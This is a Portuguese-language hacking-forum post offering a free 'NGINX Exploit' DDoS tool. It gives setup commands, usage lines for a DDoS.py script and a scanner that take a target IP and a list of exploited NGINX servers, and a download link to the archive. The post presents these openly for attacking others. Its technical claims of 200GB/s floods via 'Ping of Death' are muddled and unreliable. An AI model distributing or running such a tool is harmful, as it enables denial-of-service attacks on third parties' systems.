Welcome to Shadow Network

Seja bem-vindo ao nosso fórum, registre-se para poder interagir em nosso fórum

Entre para seguir isso  
Seguidores 0
Eletroplus

[TOOL]
Free NGINX - Exploit

1 post neste tópico

Introdução:
Este exploit permite aos usuários DDoS com uma lista de ataques DDoS dos servidores NGINX escala em 200GB/s com uma lista de 2.000 servidores NGINX. 10 milhões de dispositivos NGINX estão sendo encontrados via Shodan.io.
PoC/Prova de Conceito:
 
Sim, todos nós sabemos o que é nginx, nós vimos isso em um servidor web  apenas navegando na web.
É literalmente em todos os lugares, O exploit consiste em seus manipuladores de scripts,
Um deles era aquele que agiria como de explorações ping-back para DDoSing,
Mas o que eu estou mostrando para vocês é aquele que estava batendo em 200GB/s com 2.000 caixas exploradas nginx,
que consiste em usar um "PoD" aka "Ping da Morte".

Versão Free: 1.0

Instalação:
   NGINX - Exploit é executado em muitas plataformas.
  

Descompactar: Exploit NGINX.rar

cd Exploit NGINX
chmod 777 *
./centos-setup = Se estiver executando o Centos ou o Linux
       ./ubuntu-setup = Se estiver executando o Ubuntu
Se nenhum erro de diretório ocorre quando a execução de ./setup | copiar colar;
sed -i -e 's/\r$//' centos-setup; sed -i -e 's/\r$//' menu; sed -i -e 's/\r$//' installed; sed -i -e 's/\r$//' ubuntu-setup

Uso:
Comandos de menu:

./setup = Configuração do módulo / programa
./menu = Menu para o NGINX - Exploit

/!\ COMANDOS MANUAIS /!\

python DDoS.py -l [nginx.txt] -t [1.3.3.7] -r [request.txt] -n [threads (default: 40)]
./scanner [quantidade]

Exemplos:
Comandos manuais:

python DDoS.py -1 nginx.txt -t 127.0.0.1 -r request.txt -n 300
./scanner 200

 

Download: https://www.sendspace.com/file/wqltyp

Scan: https://www.virustotal.com/pt/file/273c480fc1f230ca53a26a874df8ea2e1351fee7f20cdc41fa2fee4e2ad40267/analysis/1480820061/

 

Créditos: Eletroplus

2

Compartilhar este post


Link para o post
Compartilhar em outros sites

Crie uma conta ou entre para comentar

Você precisar ser um membro para fazer um comentário

Criar uma conta

Crie uma nova conta em nossa comunidade. É fácil!


Crie uma nova conta

Entrar

Já tem uma conta? Faça o login.


Entrar Agora
Entre para seguir isso  
Seguidores 0

Shadow Network

Seja Bem-Vindo ao nosso fórum, construído com o intuito de compartilhar idéias e conhecimentos ao alcance de qualquer pessoa que tenha vontade de aprender.

Atencao

Em caso de bugs/erros no forum, entre em contato com algum membro da equipe.